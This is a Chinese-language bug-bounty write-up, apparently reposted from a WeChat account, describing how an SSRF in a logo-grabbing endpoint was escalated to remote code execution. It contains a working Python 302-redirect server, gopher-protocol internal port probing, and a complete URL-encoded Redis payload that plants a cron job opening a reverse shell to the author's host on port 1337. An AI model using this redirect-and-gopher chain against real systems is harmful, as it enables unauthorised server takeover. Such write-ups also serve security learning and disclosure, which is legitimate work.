SSRF To RCE

渗透技巧 11个月前 admin
162 0 0

0x01、信息搜集

通常,对于一个大范围的漏洞奖励程序,我会从子域枚举/爆破开始,以增加我的攻击面,我会用ffuf进行模糊测试,遗憾的是并没有收获。

0x02、SSRF

在测试了web app的功能后,我开始翻看代理日志中存储的请求,发现了类似这样的请求:

GET /logoGrabber?url=http://example.comHost: example.com...

它返回了目标的title等URL的页面信息。

我可以与我的服务器进行交互,但没有探测到任何内网ip。这里我通过自己写的脚本爆破出来一些内网url。网上很多工具如FuzzDomain等很多工具都可以实现。不一一列举。

在自己浏览器访问超时,提交

GET /logoGrabber?url=http://*.target.com主机:example.com...

返回信息

{"responseTime":"9ms","grabbedUrl":"http://*.target.com","urlInfo":{"pageTitle":"内部页面标题","pageLogo":"http://*.target.com/logos/logo.png"}}

SSRF To RCE

0x02、RCE

这点危害明显不够审核喝一壶的,所以我又测试了gopher协议 如下请求。

GET /logoGrabber?url=gopher://myburpcollaboratorurl主机:example.com...

Burp并没有反应,不知道是否支持gopher协议。

SSRF To RCE

所以我决定尝试一下常规302绕过

#!/usr/bin/env python3
import sysfrom http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2: print("""Usage: {} <port_number> <url> """.format(sys.argv[0])) sys.exit()
class Redirect(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', sys.argv[2]) self.end_headers() def send_error(self, code, message=None): self.send_response(302) self.send_header('Location', sys.argv[2]) self.end_headers()HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
python3 302redirect.py port "http://mycollaboratorurl/"

发包,成功收到

GET /logoGrabber?url=http://my302redirectserver/主机:example.com...

于是我换成gopher协议,再次发包。成功收请求。

我尝试了127.0.0.1的各种端口 如3306.6379,10050等

(gopher://127.0.0.1:port) 继续上述的请求发包。

302 --->  gopher://127.0.0.1:3306  超时302 --->  gopher://127.0.0.1:25  超时302 --->  gopher://127.0.0.1:6379  打开

生成Redis反弹shell的payload

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1% 0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20% 3E%26%20/dev/tcp/xxxx/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243% 0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A% 243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

监听1337端口,运行脚本。

python3 302redirect.py port " gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A% 241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh% 20-i%20%3E%26%20/dev/tcp/xxxx/1337%200%3E%261%22%0A %0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig % 0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D% 0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D% 0A%0A”

发包

GET /logoGrabber?url=http://my302redirectserver/主机:example.com..

下机

SSRF To RCE

新人号主,大家多多担待。昨天看到私信有人说我水的。确实比较水哈,还是学生 大佬轻喷。个人有知识星球,主要针对基础薄弱的,会分享实战经验以及其它内容。试运营内容比较水,就不放出来挨喷了。如果有考虑好想要加的 可以私信我。Over





原文始发于微信公众号(漏洞之星):SSRF To RCE

版权声明:admin 发表于 2023年5月30日 下午12:12。
转载请注明:SSRF To RCE | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...